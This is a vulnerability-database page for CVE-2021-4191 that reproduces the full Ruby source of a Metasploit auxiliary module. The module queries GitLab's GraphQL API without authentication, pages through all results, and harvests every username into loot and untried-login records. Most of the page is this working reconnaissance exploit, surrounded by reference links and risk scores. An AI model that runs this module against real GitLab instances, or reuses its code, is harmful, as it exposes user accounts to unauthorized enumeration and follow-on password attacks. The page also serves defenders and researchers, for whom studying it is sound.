Lucene search
K

GitLab GraphQL API User Enumeration

🗓️ 12 Mar 2022 17:42:34Reported by jbaines-r7, mungsulType 
metasploit
 metasploit
🔗 www.rapid7.com👁 219 Views

GitLab GraphQL API User Enumeration module queries GitLab GraphQL API to retrieve username list without authentication for versions 13.0 up to 14.8.2, 14.7.4, and 14.6.5 (CVE-2021-4191)

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
Gitlab -- multiple vulnerabilities
25 Feb 202200:00
freebsd
Gitee
Exploit for CVE-2021-4191
20 Aug 202414:39
gitee
ATTACKERKB
CVE-2021-4191
28 Mar 202219:15
attackerkb
GithubExploit
Exploit for CVE-2021-4191
10 Oct 202501:53
githubexploit
Circl
CVE-2021-4191
4 Mar 202211:22
circl
CNNVD
GitLab Enterprise Edition和GitLab Community Edition 授权问题漏洞
28 Feb 202200:00
cnnvd
CVE
CVE-2021-4191
28 Mar 202218:53
cve
Cvelist
CVE-2021-4191
28 Mar 202218:53
cvelist
Debian CVE
CVE-2021-4191
28 Mar 202218:53
debiancve
Tenable Nessus
FreeBSD : Gitlab -- multiple vulnerabilities (2823048d-9f8f-11ec-8c9c-001b217b3468)
10 Mar 202200:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLab GraphQL API User Enumeration',
        'Description' => %q{
          This module queries the GitLab GraphQL API without authentication
          to acquire the list of GitLab users (CVE-2021-4191). The module works
          on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7', # Independent discovery and Metasploit module
          'mungsul' # Independent discovery
        ],
        'References' => [
          [ 'CVE', '2021-4191' ],
          [ 'URL', 'https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/#unauthenticated-user-enumeration-on-graphql-api'],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/']
        ],
        'DisclosureDate' => '2022-02-25',
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  ##
  # Send the GraphQL query to the /api/graphql endpoint. Despite being able to
  # extract significantly more information, this request will only request
  # usernames. The function will do some verification to ensure the received
  # payload is the expected JSON.
  #
  # @param after [String] The parameter is used for paging because GitLab will only
  #   return 100 results at a time. If no paging is needed this should be empty.
  # @return [Hash] A Ruby Hash representation of the returned JSON data.
  ##
  def do_request(after)
    graphql_query = '{"query": "query { users'
    unless after.empty?
      graphql_query += "(after:\\\"#{after}\\\")"
    end
    graphql_query.concat(' { pageInfo { hasNextPage, hasPreviousPage, endCursor, startCursor }, nodes { username } } }" }')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/graphql'),
      'ctype' => 'application/json',
      'data' => graphql_query
    })

    fail_with(Failure::UnexpectedReply, "The target didn't respond with 200 OK") unless res&.code == 200
    fail_with(Failure::UnexpectedReply, "The target didn't respond with an HTTP body") unless res.body

    user_json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if user_json.nil?

    nodes = user_json.dig('data', 'users', 'nodes')
    fail_with(Failure::UnexpectedReply, 'Could not find nodes in the JSON body') if nodes.nil?

    user_json
  end

  ##
  # Parses the JSON data returned by the server. Adds the usernames to
  # the users array and adds them, indirectly, to create_credential_login.
  # This function also determines if we need to request more data from
  # the server.
  #
  # @param user_json [Hash] The JSON data provided by the server
  # @param users [Array] An array to store new usernames in
  # @return [String] An empty string or the "endCursor" to use with do_request
  ##
  def parse_json(user_json, users)
    nodes = user_json.dig('data', 'users', 'nodes')
    return '' if nodes.nil?

    nodes.each do |node|
      username = node['username']
      store_username(username, node)
      users.push(username)
    end

    query_paging_info = ''
    more_data = user_json.dig('data', 'users', 'pageInfo', 'hasNextPage')
    if !more_data.nil? && more_data == true
      query_paging_info = user_json['data']['users']['pageInfo']['endCursor']
    end

    query_paging_info
  end

  def store_userlist(users, service)
    loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)
    print_good("Userlist stored at #{loot}")
  end

  def store_username(username, json)
    connection_details = {
      module_fullname: fullname,
      workspace_id: myworkspace_id,
      username: username,
      proof: json,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_details)
    create_credential_and_login(connection_details)
  end

  ##
  # Send an initial GraphQL request to the server and keep sending
  # requests until the server has no more data to give us.
  ##
  def run_host(_ip)
    user_json = do_request('')

    service = report_service(
      host: rhost,
      port: rport,
      name: (ssl ? 'https' : 'http'),
      proto: 'tcp'
    )

    # parse the initial page
    users = []
    query_paging_info = parse_json(user_json, users)

    # handle any follow on pages
    request_count = 0
    until query_paging_info.empty?
      # periodically tell the user that we are still working. Start at 1 since one request already happened
      request_count += 1
      print_status("GraphQL API pagination request: #{request_count}") if request_count % 5 == 0
      user_json = do_request(query_paging_info)
      query_paging_info = parse_json(user_json, users)
    end

    if users.empty?
      print_error('No GitLab users were enumerated.')
    else
      print_good("Enumerated #{users.length} GitLab users")
      users_string = users.join("\n") + "\n"
      store_userlist(users_string, service)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
6.8Medium risk
Vulners AI Score6.8
CVSS 25
CVSS 3.15.3
EPSS0.80004
219